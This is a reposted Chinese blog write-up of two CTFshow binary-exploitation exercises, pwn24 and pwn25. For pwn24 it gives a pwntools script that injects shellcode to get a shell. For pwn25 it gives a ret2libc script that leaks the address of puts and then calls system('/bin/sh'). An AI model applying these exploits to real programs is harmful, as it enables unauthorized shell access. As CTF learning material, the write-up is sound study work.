自学内容网 自学内容网

CTFshow-PWN-前置基础(pwn24-pwn25)

1、pwn24 

你可以使用pwntools的shellcraft模块来进行攻击

32位程序,只开了部分 RELRO 保护 

可以看到多出了一个 RWX: Has RWX segments
这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限

反编译

尝试跟进 ctfshow 函数但是不行

这个是它的汇编代码:

编写 exp:

from pwn import *  # 导入 pwntools 库中的所有函数和类
context.log_level = 'debug'  # 设置 pwntools 的日志级别为调试模式
# p = process('./pwn')  # 本地连接
p = remote('pwn.challenge.ctf.show', 28251)  # 远程连接
payload = asm(shellcraft.sh())  # 使用 pwntools 的 shellcraft 模块生成一个 shellcode,并使用 asm 函数将其汇编成二进制指令
p.sendline(payload)  # 发送 payload 到远程连接
p.interactive()  # 与远程连接进行交互

使用 python 运行: 

python exp.py

拿到 shell

执行命令

拿到 flag:ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}

2、pwn25

开启NX保护,或许可以试试ret2libc

32 位程序,RELRO 保护部分开启,并且开了 NX 保护 

反编译 main 函数

跟进 ctfshow 函数

buf 只有132 字节,read 函数从文件描述符 0(标准输入,通常是键盘)读取数据,并将读取的数据存储到缓冲区 buf 中,但允许读取的最大字节数为 0x100u( 256字节),就可能造成栈溢出。

该函数到 ebp 的距离是 0x88,由于是 32 位程序 ,因此再加 4 

但是这里并没有直接泄露 /bin/sh 的地址

查看 plt 表中的函数:

objdump -d -j .plt pwn

objdump可以反汇编一个二进制文件中的特定部分,并显示反汇编后的汇编代码。

-d  显示所有的可执行指令,-j .plt 指定了要显示的特定节,即 .plt 节(过程链接表)

puts 函数可用,利用 puts 函数输出其他函数的内存地址

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28162)
elf = ELF('./pwn')
offset = 0x88 + 0x4  # 溢出偏移地址
main_addr = elf.symbols['main']  # main函数地址
puts_plt = elf.plt['puts']  # plt表中puts函数地址
puts_got = elf.got['puts']  # got表中puts函数地址

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts",puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)

我这里没跑起来,那个 libcSearcher 库有问题

代码也太长了,目前还不怎么看得懂,后面再来理解

还有一个 exp 是先找的这个 write 函数的地址:


原文地址:https://blog.csdn.net/Myon5/article/details/137995957

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!